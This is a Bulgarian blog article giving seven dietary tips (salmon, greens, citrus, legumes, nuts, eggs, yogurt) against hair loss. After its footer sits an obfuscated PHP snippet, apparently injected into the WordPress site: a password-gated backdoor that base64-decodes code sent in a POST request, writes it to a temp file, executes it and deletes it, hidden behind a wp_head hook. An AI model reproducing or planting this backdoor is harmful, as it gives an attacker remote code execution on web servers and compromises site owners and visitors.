Какво трябва да съдържа идеалното МЕНЮ срещу КОСОПАД! Виж Тук: | Косопад

Какво трябва да съдържа идеалното МЕНЮ срещу КОСОПАД! Виж Тук:

Храненето е изключително важно за здравето на косата. Ето кои са основните храни, които правят косата силна и я предпазват от проблеми.

1. Яжте сьомга. Този вид риба е сред най- полезните за организма. Богата е на омега- 3 мазнини, протеини и витамин Д. Стимулира растежа на косата и я предпазва от косопад. Достатъчни са две порции риба седмично.

2. Увеличете приема на зелените зеленчуци. Те са изключително полезни за косата. Съдържат значителни количества витамин А и С. Помагат да добрата хидратация на косъма. Предпазват от косопад и късане.

3. Яжте цитруси. Изключително богати на витамин С. Предпазват косата от накъсване.

4. Гответе повече бобови култури. Тези храни са чудесен източник на биотин, желязо, аминокиселини. Добре е храни като леща, фасул, грах, да присъстват в менюто два- три пъти в седмицата.

5. Ядки като следобедна закуска. Добре е от време на време да включваме в дневното си меню и различни видове ядки. Те съдържат ценни вещества, които са полезни за косата.

6. Яйце на закуска. Яйцата са сред най- полезните храни, тъй като съдържат протеини, минерали и мазнини. Най- ценното вещество за косата, което се съдържа в яйцето, е витамин В12.

7. Кисело мляко. Подобрява състоянието на кератина в косъма, тъй като съдържа протеини със същото качество. По този начин киселото мляко прави косата здрава и силна.

16. октомври 2018 13:30:25 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}